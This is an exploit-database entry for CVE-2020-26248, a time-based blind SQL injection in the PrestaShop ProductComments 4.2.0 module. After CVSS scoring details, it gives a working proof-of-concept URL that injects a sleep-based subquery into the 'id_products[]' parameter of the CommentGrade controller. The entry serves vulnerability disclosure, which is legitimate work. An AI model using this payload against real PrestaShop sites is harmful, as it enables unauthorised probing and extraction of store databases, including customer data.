PrestaShop ProductComments 4.2.0 id_products Time Based Blind SQL Injection

2020.12.16

Credit: Frederic ADAM

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2020-26248

CWE: CWE-89

CVSS Base Score: 6.4/10

Impact Subscore: 4.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: Partial

​# Exploit Title: PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection
# Date: 2020-12-15
# Exploit Author: Frederic ADAM
# Author contact: contact@fadam.eu
# Vendor Homepage: https://www.prestashop.com
# Software Link: https://github.com/PrestaShop/productcomments
# Version: 4.2.0
# Tested on: Debian 10
# CVE : CVE-2020-26248

http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=[SQL]

Example:
http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(2)))a)

See this note in RAW Version

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PrestaShop ProductComments 4.2.0 id_products Time Based Blind SQL Injection

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